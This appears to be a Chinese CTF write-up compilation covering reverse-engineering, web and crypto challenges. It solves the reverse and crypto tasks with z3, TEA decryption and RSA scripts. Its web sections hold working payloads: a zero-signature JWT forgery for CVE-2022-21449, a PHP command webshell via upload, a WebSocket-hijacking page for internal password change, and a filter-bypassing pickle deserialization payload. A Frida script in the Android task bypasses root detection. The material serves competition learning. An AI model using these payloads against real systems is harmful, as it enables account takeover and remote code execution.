8034255c418000b1c3000000000000000000000000000000
-------------------- 0x0: xor byte
ptr [0x80415c], 0xb1
--------------------
[1203] :: mov s2, &s10
[1205] :: add s5, s5, s2
[1208] :: mov s6, &0
s6 = 0
[1209] :: mov s7, &0
s7 = 0
[1210] :: mov s8, &0
s8 = 0
[1211] :: mov s9, &0
s9 = 0
[1212] :: mov s10, &0
s10 = 0
[1213] :: mov s2, &4210782
s2 = flag[30]
[1214] :: mov s6, s2
s6 = s2 = flag[30]
[1215] :: mov s2, &4210783
s2 = flag[31]
[1216] :: mov s7, s2
s7 = s2 = flag[31]
[1217] :: mov s8, &0
s8 = 0
[1218] :: mov s2, &s8
s2 = s8 = 0
[1219] :: add s8, s8, s2
s8 = s8 + s2 = 0
[1222] :: mov s2, &s6
s2 = s6 = flag[30]
[1223] :: add s8, s8, s2
s8 = s8 + s2 = flag[30]
[1226] :: mov s2, &s8
s2 = s8 = flag[30]
[1227] :: add s8, s8, s2
s8 = s8 + s2 = 2*flag[30]
[1230] :: mov s9, &0
s9 = 0
[1231] :: mov s2, &s9
s2 = s9 = 0
[1232] :: add s9, s9, s2
s9 = s9 + s2 = 0
[1235] :: mov s2, &s7
s2 = s7 = flag[31]
[1236] :: add s9, s9, s2
s9 = s9 + s2 = flag[31]
[1239] :: mov s2, &s9
s2 = s9 = flag[31]
[1240] :: add s10, s8, s2
s10 = s8 + s2 = 2*flag[30] + flag[31]
[1243] :: exec r1243.r_address <-
8034255c418000e5c3000000000000000000000000000000
-------------------- 0x0: xor byte
ptr [0x80415c], 0xe5
--------------------
得到四个等式
flag_end[28] + flag_end[29] == 0x6c
2*flag_end[28] + flag_end[29] == 0xa1
flag_end[30] + flag_end[31] == 0xb1
2*flag_end[30] + flag_end[31] == 0xe5
z3解方程得到flag
from z3 import *
flag = 'flag{366c950370fec47e34581a0'
flag_end = [BitVec('f%d'%i,8) for i in range(4)]
s = Solver()
s.add(flag_end[0] + flag_end[1] == 0x6c)
s.add(2*flag_end[0] + flag_end[1] == 0xa1)
s.add(flag_end[2] + flag_end[3] == 0xb1)
s.add(2*flag_end[2] + flag_end[3] == 0xe5)
if s.check() == sat:
m = s.model()
f_e = [m[flag_end[i]].as_long() for i
in range(4)]
for i in range(4):
flag+=chr(f_e[i])
print(flag)
#flag{366c950370fec47e34581a0574}
2.easyapk
check在so文件里
用ida的d810插件去混淆
进入sub_544,最下面可以看到tea加密
v153是key,往上找可以找到生成key的代码
v15 = time(0);
v183[0] = ((v15 & 0x20000000) - (v15
& 0xD0000000) + 2 * (v15 & 0x50000000) + 705251522) ^ 0xB93B79F2;
v16 = time(0);
v183[1] = ((v16 & 0x10000000) - (v16
& 0xE0000000) + 2 * (v16 & 0x60000000) + 268614163) ^ 0x47348F27;
v17 = time(0);
v183[2] = ((v17 & 0x50000000) - (v17
& 0xA0000000) + 2 * (v17 & 0x20000000) + 1598838216) ^ 0xDD2D6CF0;
v18 = time(0);
v183[3] = (((v18 & 0x40000000) - (v18
& 0xB0000000) + 2 * (v18 & 0x30000000) + 1085702636) ^ 0x30240060 |
0x99A9B9D)
+ 2 * (((v18
& 0x40000000) - (v18 & 0xB0000000) + 2 * (v18 & 0x30000000) +
1085702636) ^ 0x46D3E58F);
密文在之前那个代码最下面的memcmp中的unk_3E78中
.data:00003E78 dword_3E78 DCD
0x5D94AA84 ; DATA XREF: LOAD:0000009C↑o
.data:00003E78
; Java_com_a_easyapk_MainActivity_check+266↑o
...
.data:00003E7C
DCD 0x14FA24A0
.data:00003E80
DCD 0x2B560210
.data:00003E84
DCD 0xB69BDD49
.data:00003E88
DCD 0xAAEFEAD4
.data:00003E8C
DCD 0x4B8CF4C6
.data:00003E90
DCD 0x97FB8C9
.data:00003E94
DCD 0xB5EC51D2
tea解密脚本先生成key再解密
#include <stdio.h>
#include <stdint.h>
//加密函数
void encrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum =
0, i; /* set up */
uint32_t delta = 0x9e3779b9;
/* a key
schedule constant */
uint32_t k0 = k[0], k1 = k[1], k2 =
k[2], k3 = k[3]; /* cache key */
for (i = 0; i < 32; i++) {
/* basic
cycle start */
sum += delta;
v0 += ((v1 << 4)
+ k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4)
+ k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
}
/* end cycle */
v[0] = v0; v[1] = v1;
}
//解密函数
void decrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum =
0xC6EF3720, i; /* set up */
uint32_t delta = 0x9e3779b9;
/* a key
schedule constant */
uint32_t k0 = k[0], k1 = k[1], k2 =
k[2], k3 = k[3]; /* cache key */
for (i = 0; i < 32; i++) {
/*
basic cycle start */
v1 -= ((v0 << 4)
+ k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4)
+ k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
}
/* end cycle */
v[0] = v0; v[1] = v1;
}
int main()
{
time_t v15; // r0
time_t v16; // r0
time_t v17; // r0
time_t v18; // r0
int v183[4];
v15 = time(0);
v183[0] = ((v15 & 0x20000000) - (v15
& 0xD0000000) + 2 * (v15 & 0x50000000) + 705251522) ^ 0xB93B79F2;
v16 = time(0);
v183[1] = ((v16 & 0x10000000) - (v16
& 0xE0000000) + 2 * (v16 & 0x60000000) + 268614163) ^ 0x47348F27;
v17 = time(0);
v183[2] = ((v17 & 0x50000000) - (v17
& 0xA0000000) + 2 * (v17 & 0x20000000) + 1598838216) ^ 0xDD2D6CF0;
v18 = time(0);
v183[3] = (((v18 & 0x40000000) - (v18
& 0xB0000000) + 2 * (v18 & 0x30000000) + 1085702636) ^ 0x30240060 |
0x99A9B9D)
+ 2 * (((v18
& 0x40000000) - (v18 & 0xB0000000) + 2 * (v18 & 0x30000000) +
1085702636) ^ 0x46D3E58F);
// printf("%x %x %x
%x",v183[0],v183[1],v183[2],v183[3]);
// 33323130 37363534 62613938 66656463
uint32_t v[2] = { 0x5D94AA84,
0x14FA24A0 }, k = v183;
uint32_t v1[2] = { 0x2B560210,
0xB69BDD49 };
uint32_t v2[2] = { 0xAAEFEAD4,
0x4B8CF4C6 };
uint32_t v3[2] = { 0x97FB8C9,
0xB5EC51D2 };
decrypt(v, k);
decrypt(v1, k);
decrypt(v2, k);
decrypt(v3, k);
printf("解密后的数据:%x %x %x %x %x %x %x %x\n", v[0], v[1], v1[0], v1[1], v2[0], v2[1],
v3[0], v3[1]);
return 0;
}
得到746e7973 5f67567b 415f6656
675f6730 5f674e75 7570487a 456e755f 7d657271
转字符为 tnys_gV{A_fVg_g0_gNuupHzEnu_}erq
猜想rot13 galf_tI{N_sIt_t0_tAhhcUmRah_}red
c='galf_tI{N_sIt_t0_tAhhcUmRah_}red'
f = ''
for i in range(len(c)//4):
f += c[i*4:i*4+4][::-1]
print(f)
#flag{It_Is_N0t_thAt_mUch_haRder}
3.GameMaster
.net程序
dnSpy打开可以看到对gamemessage进行了aes和异或
aes
xor
在线解密得到文件,发现里面有一个可执行文件
dump下来后还是一个.net文件,打开可以看到真的逻辑
//T1Class.T1
//Token: 0x06000003 RID: 3 RVA: 0x0000215C File Offset: 0x0000035C
publicT1()
{
try
{
string environmentVariable = Environment.GetEnvironmentVariable("AchivePoint1");
string environmentVariable2 = Environment.GetEnvironmentVariable("AchivePoint2");
string environmentVariable3 = Environment.GetEnvironmentVariable("AchivePoint3");
bool flag = environmentVariable == null || environmentVariable2 == null || environmentVariable3 == null;
if (!flag)
{
ulong num = ulong.Parse(environmentVariable);
ulong num2 = ulong.Parse(environmentVariable2);
ulong num3 = ulong.Parse(environmentVariable3);
ulong[] array = new ulong[3];
byte[] array2 = new byte[40];
byte[] array3 = new byte[40];
byte[] array4 = new byte[12];
byte[] first = new byte[]
{
101,
5,
80,
213,
163,
26,
59,
38,
19,
6,
173,
189,
198,
166,
140,
183,
42,
247,
223,
24,
106,
20,
145,
37,
24,
7,
22,
191,
110,
179,
227,
5,
62,
9,
13,
17,
65,
22,
37,
5
};
byte[] array5 = new byte[]
{
60,
100,
36,
86,
51,
251,
167,
108,
116,
245,
207,
223,
40,
103,
34,
62,
22,
251,
227
};
array[0] = num;
array[1] = num2;
array[2] = num3;
T1.Check1(array[0], array[1], array[2], array2);
bool flag2 = first.SequenceEqual(array2);
if (flag2)
{
T1.ParseKey(array, array4);
for (int i = 0; i < array5.Length; i++)
{
array5[i] ^= array4[i % array4.Length];
}
MessageBox.Show("flag{" + Encoding.Default.GetString(array5) + "}", "Congratulations!", MessageBoxButtons.OK);
}
}
}
catch (Exception)
{
}
}
//T1Class.T1
//Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
privatestatic void Check1(ulong x, ulong y, ulong z, byte[] KeyStream)
{
int num = -1;
for (int i = 0; i < 320; i++)
{
x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1UL) | x << 1);
y = (((y >> 30 ^ y >> 27) & 1UL) | y << 1);
z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1UL) | z << 1);
bool flag = i % 8 == 0;
if (flag)
{
num++;
}
KeyStream[num] = (byte)((long)((long)KeyStream[num] << 1) | (long)((ulong)((uint)((z >> 32 & 1UL & (x >> 30 & 1UL)) ^ (((z >> 32 & 1UL) ^ 1UL) & (y >> 31 & 1UL))))));
}
}
//T1Class.T1
//Token: 0x06000002 RID: 2 RVA: 0x00002110 File Offset: 0x00000310
privatestatic void ParseKey(ulong[] L, byte[] Key)
{
for (int i = 0; i < 3; i++)
{
for (int j = 0; j < 4; j++)
{
Key[i * 4 + j] = (byte)(L[i] >> j * 8 & 255UL);
}
}
}
//用z3解出3个数,再异或得到flag
from z3 import *
flag = [BitVec('x%d' % i, 64) for i in range(3)]
s = Solver()
num = 0
first = [101,5, 80, 213,163,26, 59, 38, 19, 6,173,189,198,166,140,183,42,247,223,24,106,20,
145,37, 24, 7, 22, 191,110,179,227,5,62,9,13,17,65,22, 37, 5]
KeyStream = [0 for i in range(40)]
for i in range(0,320):
flag[0] = (((flag[0] >> 29 ^
flag[0] >> 28 ^ flag[0] >> 25 ^ flag[0] >> 23) & 1) |
flag[0] << 1)
flag[1] = (((flag[1] >> 30 ^
flag[1] >> 27) & 1) | flag[1] << 1)
flag[2] = (((flag[2] >> 31 ^
flag[2] >> 30 ^ flag[2] >> 29 ^ flag[2] >> 28 ^ flag[2]
>> 26 ^ flag[2] >> 24) & 1) | flag[2] << 1)
KeyStream[num] = (KeyStream[num]
<< 1) | ((flag[2] >> 32 & 1 & (flag[0] >> 30 &
1)) ^ (((flag[2] >> 32 & 1) ^ 1) & (flag[1] >> 31 &
1)))
if (i+1) % 8 == 0:
s.add(first[num] ==
KeyStream[num])
# print(KeyStream[num])
num += 1
print(s.check())
print(s.model())
#[ x0 = 156324965, x1 = 868387187, x2 = 3131229747]
array = [156324965, 868387187, 3131229747]
key = [0 for i in range(12)]
for i in range(3):
for j in range(4):
key[4*i+j] = array[i]
>> j * 8 & 255
s = [60,100,36,86,51,251,167,108,116,245,207,223,40,103,34,62,22,251,227]
for i in range(len(s)):
print(chr(s[i]^key[i%len(key)]),end='')
4.game
得到附件ba.ab,是安卓的备份文件,用abe.jar解包得到base.apk
分析base.apk
package com.silence.scoreboard.http;
import androidx.lifecycle.LifecycleOwner;
import com.silence.bean.UserInfo;
import com.silence.manager.LoginManager;
import com.silence.network.HttpCall;
import com.silence.network.RetrofitHelper;
import com.silence.network.listener.CallBackLis;
import com.silence.utils.MD5Utils;
import com.silence.utils.OooOoo0;
import java.util.HashMap;
import java.util.Map;
public class HttpRequest {
public
HttpRequest() {
super();
}
public
static void addFriend(LifecycleOwner arg2, String arg3, CallBackLis arg4) {
HashMap v0 = new HashMap();
try {
((Map)v0).put("code", arg3);
}
catch(Exception v3) {
v3.printStackTrace();
}
HttpCall.doCall(arg2,
RetrofitHelper.getInstance().getRetrofit().create(Api.class).addFriend(((Map)v0)),
arg4, null);
}
public
static void autologin(LifecycleOwner arg2, String arg3, String arg4, String
arg5, CallBackLis arg6) {
HashMap v0 = new HashMap();
try {
((Map)v0).put("code", arg3);
((Map)v0).put("account", OooOoo0.encrypt(arg4));
((Map)v0).put("username", OooOoo0.encrypt(arg5));
}
catch(Exception v3) {
v3.printStackTrace();
}
HttpCall.doCall(arg2,
RetrofitHelper.getInstance().getRetrofit().create(Api.class).autologin(((Map)v0)),
arg6, null);
}
public
static void getFlag(LifecycleOwner arg2, String arg3, String arg4, String arg5,
CallBackLis arg6) {
HashMap v0 = new HashMap();
try {
((Map)v0).put("code", arg3);
((Map)v0).put("account", arg4);
((Map)v0).put("username", arg5);
}
catch(Exception v3) {
v3.printStackTrace();
}
HttpCall.doCall(arg2,
RetrofitHelper.getInstance().getRetrofit().create(Api.class).getFlag(((Map)v0)),
arg6, null);
}
public
static void getScoreBoard(LifecycleOwner arg2, CallBackLis arg3) {
HttpCall.doCall(arg2, RetrofitHelper.getInstance().getRetrofit().create(Api.class).getScoreBoard(),
arg3, null);
}
public
static void login(LifecycleOwner arg2, String arg3, String arg4, CallBackLis
arg5) {
HashMap v0 = new HashMap();
try {
((Map)v0).put("account", OooOoo0.encrypt(arg3));
}
catch(Exception v3) {
v3.printStackTrace();
}
((Map)v0).put("passwd", MD5Utils.encode(arg4));
HttpCall.doCall(arg2,
RetrofitHelper.getInstance().getRetrofit().create(Api.class).login(((Map)v0)),
arg5, null);
}
public
static void register(LifecycleOwner arg2, String arg3, String arg4, String
arg5, CallBackLis arg6) {
HashMap v0 = new HashMap();
try {
((Map)v0).put("account", OooOoo0.encrypt(arg4));
((Map)v0).put("username", OooOoo0.encrypt(arg3));
}
catch(Exception v3) {
v3.printStackTrace();
}
((Map)v0).put("passwd", MD5Utils.encode(arg5));
HttpCall.doCall(arg2,
RetrofitHelper.getInstance().getRetrofit().create(Api.class).register(((Map)v0)),
arg6, null);
}
public
static void submit(LifecycleOwner arg4, int arg5, CallBackLis arg6) {
HashMap v0 = new HashMap();
UserInfo v1 = LoginManager.getInstance().getUserInfo();
try {
((Map)v0).put("code", v1.getCode());
((Map)v0).put("account", OooOoo0.encrypt(v1.getAccount()));
((Map)v0).put("username", OooOoo0.encrypt(v1.getUserName()));
((Map)v0).put("score", String.valueOf(arg5));
}
catch(Exception v5) {
v5.printStackTrace();
}
HttpCall.doCall(arg4,
RetrofitHelper.getInstance().getRetrofit().create(Api.class).submit(((Map)v0)),
arg6, null);
}
}
进入http://47.93.244.181/re/ScoreBoard.php
{"msg":"Success","code":0,"data":{"users":[{"code":"16186963","username":"vbGC\/A5+vRN74\/i3q7O3hE==","best":"100000000000"},{"code":"7730370","username":"ataoatao1234","best":"111111111"},{"code":"4359616","username":"ataoatao123","best":"111111111"},{"code":"987764","username":"DI5wnjldzTEX7ZHhjf03Ld==","best":"50987008"},{"code":"14541742","username":"2NAPI3ZLvqUWOx4DgOQWZE==","best":"10000000"},{"code":"8608967","username":"wcXl0gr+x2RveqpsR18NX6==","best":"100004"},{"code":"15115898","username":"nYqF3Jo5eaJIFocZ3khHNU==","best":"100000"},{"code":"9651071","username":"S+Fe4IflF5V6tQobB3zeME==","best":"100000"},{"code":"8438249","username":"THxV0iiD0FBjxNY+WMjcAE==","best":"99999"},{"code":"13373186","username":"nzGCmX3r+LTCiaUSds8kOU==","best":"99999"}],"admins":[{"code":"123125","username":"IbaoQT\/3eTXIjHDJ2L5TQE==","best":"9999"},{"code":"449863","username":"xG83slwpyjVBRRdbydzlO6==","best":"8715"},{"code":"1231234","username":"BIbp927Ubq8bHYhgtQyg\/6==","best":"7777"},{"code":"12304","username":"WZ9zRyS89JfoYv5XZF+iYE==","best":"7321"},{"code":"10847","username":"tgTkNbXOvDX7uqqtyX33X6==","best":"6874"},{"code":"86546","username":"SMSJzxdNOgxGRLBc1YoL7E==","best":"6666"},{"code":"891134","username":"ug6EQwFDiIRegeHAWJm0f6==","best":"5605"},{"code":"9849","username":"igwJEoCKfLpNnqmaRmXwxU==","best":"5432"},{"code":"993112","username":"AZIUSnhZa9fZsLwLsogmn6==","best":"2133"}]}}
可以看到admins里只有一个是9999以上
通过addfriend可以得到account
http://47.93.244.181/re/AddFriend.php POST:code=123125
{"msg":"Success","code":0,"data":{"account":"SWeH8ou9yuL8GLThYhY1QlDiWX880+uNZusmIll\/Q4Q=","username":"IbaoQT\/3eTXIjHDJ2L5TQE==","best":"9999"}}
现在的目标是主动调用com.silence.utils.OooOoo0.decryp(),参数填为为"SWeH8ou9yuL8GLThYhY1QlDiWX880+uNZusmIll/Q4Q="。
简单把encrypt()给hook掉,然后在里面调用decrypt()就行。
但是在此之前需要解决反检测的问题。根据测试过程,应该至少同时对root、supersu、frida进行检测。magisk模块过掉了对root的检测。
我们hook掉
com.silence.utils.OoOO.OOOOOooo()
和
com.silence.utils.RootUtils.check()
可以过掉root检测。对于frida的检测应该在native进行,只修改frida_android_server过不掉,暂时也没有时间去检查检测逻辑了。所以用一个取巧的办法,先不启动frida_android_server,让app正常启动起来,然后启动server并用frida -F去附加app进程,以此过掉检测代码。代码如下:
function main(){
Java.perform(function x(){
var
root2 = Java.use("com.silence.utils.OoOO");
root2.OOOOOooo.overload().implementation = function(){
var ret = this.OOOOOooo();
console.log("root check OOOOOooo:",ret);
return false;
};
var
root = Java.use("com.silence.utils.RootUtils");
root.check.overload().implementation = function(){
var ret = this.check();
console.log("root check:",ret);
return false;
};
console.log("long live frida!");
//
OooOoo0["decrypt"]("SWeH8ou9yuL8GLThYhY1QlDiWX880+uNZusmIll\/Q4Q="
//
let OooOoo0 = Java.use("com.silence.utils.OooOoo0");
var
oo = Java.use("com.silence.utils.OooOoo0");
oo.encrypt.overload("java.lang.String").implementation =
function(strs){
console.log("hookmethod():
args=", strs);
strs = "SWeH8ou9yuL8GLThYhY1QlDiWX880+uNZusmIll\/Q4Q=";
var ret = this.decrypt(strs);
console.log(ret);
return strs;
};
})
};
setImmediate(main);
//输出 &Od987$2sPa?>l<k^j
得到account后,给GetGlag.php发送请求即可得到flag
import requests
url =
"http://47.93.244.181/re/GetFlag.php"
res = requests.post(url, data={"code":
"123125", "account":
"&Od987$2sPa?>l<k^j", "username":
"admin"})
print(res.text)
myjwt
cve-2022-21449
Java 的 ECDSA 签名验证实现不检查 r 或s 是否为零,因此您可以生成一个签名值,其中它们都是 0(适当编码),Java 将接受它作为任何消息和任何公共的有效签名钥匙。空白身份证的数字等价物。
伪造takon,绕过ECDSA签名验证,并满足name=admin,exp>time, admin = true就可以拿到flag
写个java
package src;
import java.util.Base64;
public class test{
public static boolean task(){
byte[] a =
{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};
String sigB64 =
Base64.getUrlEncoder().encodeToString(a);
System.out.println(sigB64);
return true;
}
public static void main(String[]
args) throws Exception {
task();
}
}
生成0字节的base64,用于绕过ECDSA签名验证
获取一个token,得到token格式
{"typ":"JWT","alg":"myES"}.{"iss":"qwb","name":"admin","admin":false,"exp":1659200471906}.sigB64
修改为
{"typ":"JWT","alg":"myES"}.{"iss":"qwb","name":"admin","admin":true,"exp":1759200471906}.{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}
三部分分别经过Base64.getUrlEncoder().encodeToString()后得到
eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoiYWRtaW4iLCJhZG1pbiI6dHJ1ZSwiZXhwIjoxNzU5MjAwNDcxOTA2fQ==.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
即可绕过验证得到flag
l rcefile
源码泄露
$file = $_FILES["file"];
if ($file["error"] == 0) {
if($_FILES["file"]['size']
> 0 && $_FILES["file"]['size'] < 102400) {
$typeArr =
explode("/", $file["type"]);
$imgType = array("png","jpg","jpeg");
if(!$typeArr[0]==
"image" | !in_array($typeArr[1], $imgType)){
exit("type error");
}
$blackext =
["php", "php5", "php3", "html",
"swf", "htm","phtml"];
$filearray =
pathinfo($file["name"]);
$ext =
$filearray["extension"];
if(in_array($ext,
$blackext)) {
exit("extension error");
}
$imgname =
md5(time()).".".$ext;
if(move_uploaded_file($_FILES["file"]["tmp_name"],"./".$imgname))
{
array_push($userfile, $imgname);
setcookie("userfile", serialize($userfile), time() + 3600*10);
$msg =
e("file: {$imgname}");
echo
$msg;
} else {
echo
"upload failed!";
魔改题`https://cloud.tencent.com/developer/article/1717668`
<?php system('cat /flag*');echo '1';?>
l babyweb
注册账号登录后查看源码发现是通过websocket发送数据
通过bugreport指令发现可通外网。
websocket劫持+内网ssrf,实现修改管理员的账户
VPS主机上创建a.html,内容如下,尝试访问常见WEB端口,在访问8888端口后发现密码修改成功。
<html lang="zh-CN">
<head>
<title></title>
<script>
var url =
"ws://127.0.0.1:8888/bot";
var ws = new WebSocket(url);
ws.onopen
= function (event) {
ws.send("changepw
123");
}
</script>
</head>
<body>
</body>
</html>
发送 bugreport http://x.x.x.x/a.html
登出,管理员登录:账号admin 密码123
花200买提示
源码审计发现,py调用go写的服务,可以传两个product绕过检测
充钱:
{"product":[{"id":1,"num":-5},{"id":2,"num":0}],"product":[{"id":1,"num":0},{"id":2,"num":0}]}
买flag
l crash
@app.route('/balancer',methods=['GET', 'POST'])
def flag():
pickle_data=base64.b64decode(request.cookies.get("userdata"))
if b'R' in pickle_dataor b"secret" in pickle_data:
return "You damm hacker!"
os.system("rm -rf *py*")
userdata=pickle.loads(pickle_data)
if userdata.token!=hash(get_password(userdata.username)):
return "Login First"
if userdata.username=='admin':
return "Welcome admin, here is your
next challenge!"
return "You're not admin!"
截取源码关键路由代码,在该路由下首先通过cookie接收序列代码
利用o来绕过R限制
然后在删除该目录下所有python文件后进行反序列化操作
重点在绕过
userdata.token!=hash(get_password(userdata.username))
这里思路是通过pickle反序列化实现全局变量admin.secret的覆盖,利用unicode来绕过前面对关键字secret的过滤,最后弹个user对象出来即可进入后台
构造payload如下
b'''capp
admin
(Vsecr\u0065t
S'password'
db0(capp
User
S"admin"
S"password"
o.'''
进入后台发现是负载均衡设置页面,构造服务器数据,超时拿到flag
l 签到
l 问卷调查
Crypto
lASR
from Crypto.Util.number import getPrime
from secret import flag
pad = lambda s:s +
bytes([(len(s)-1)%16+1]*((len(s)-1)%16+1))
n = getPrime(128)**2 * getPrime(128)**2 * getPrime(128)**2
* getPrime(128)**2
e = 3
flag = pad(flag)
print(flag)
assert(len(flag) >= 48)
m = int.from_bytes(flag,'big')
c = pow(m,e,n)
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')
'''
n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
e = 3
c =
945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
'''
n由四个素数的平方组成,给n开根号后直接尝试用yafu分解,分解得到
分别设为p、q、r、s其中r-1、q-1能被e整数
因此m^e % n = m^e % p*p*s*s,rsa解密即可
from Crypto.Util.number import long_to_bytes
from gmpy2 import invert,gcd
c =
945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
p = 223213222467584072959434495118689164399
q = 225933944608558304529179430753170813347
r = 218566259296037866647273372633238739089
s = 260594583349478633632570848336184053653
phi = (p-1)*(s-1)*p*s
e = 3
d = invert(e,phi)
m = pow(c,d,p*p*s*s)
print(long_to_bytes(m))
#flag{Fear_can_hold_you_prisoner_Hope_can_set_you_free}
l ploydiv
从给的task中看到我们需要完成40次的多项式求解,网上有多项式求解的脚本。在这道题了,是模二多项式运算,把网上的脚本稍微改改就可以算了。耐心手算通过40次后就可以拿到flag。
def add_poly(L1,L2): #多项式加法,同次项系数相加
R=[]
if len(L1)>len(L2):#默认L2比较长
L1,L2=L2,L1
i=0
while i<len(L1):
R.append((L1[i]+L2[i])%2)#从低次项开始对应相加
i+=1
R=R+L2[len(L1):len(L2)]#较长的多项式高次项直接复制
return R
def subtract_poly(L1,L2): #多项式减法
L2=L2[:]#为了不改变传入的L2
for i in range(len(L2)):
L2[i]=L2[i]
return(add_poly(L1,L2))
def multiply_poly(L1,L2):#多项式乘法
if len(L1)>len(L2):
L1,L2=L2,L1
zero=[];R=[]
for i in L1:
T=zero[:]#存储中间产生的结果多项式,每次更新结果多项式的列表长度
for j in L2:#一个单项式乘以多项式的每一项
T.append(i*j)
R=add_poly(R,T)
zero=zero+[0]# 每一个新的多形式都要比前一个多项式次数高1,列表长度增加,所以多补一个0
return R
def divide_poly(L1,L2):
if len(L1)<len(L2):return 0,L1#商为0的情况
d=len(L1)-len(L2)#循环除的次数为d+1
T=L1[:]#被除数
R=[]#商
for i in range(d+1):
n=T[len(T)-1]/L2[len(L2)-1]#被除数的最高次项系数除以除数的最高次项的系数
R=[n]+R
T1=[0]*(d-i)+[n]#对得到的商补若干个0
T2=multiply_poly(T1,L2)#商乘以除数结果为T2
T=subtract_poly(T,T2)#被除数减去T2
T=T[:len(T)-1]#切片,被除数减少一次方
return R,T
如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。
▼扫码关注白帽子社区公众号&加入知识星球▼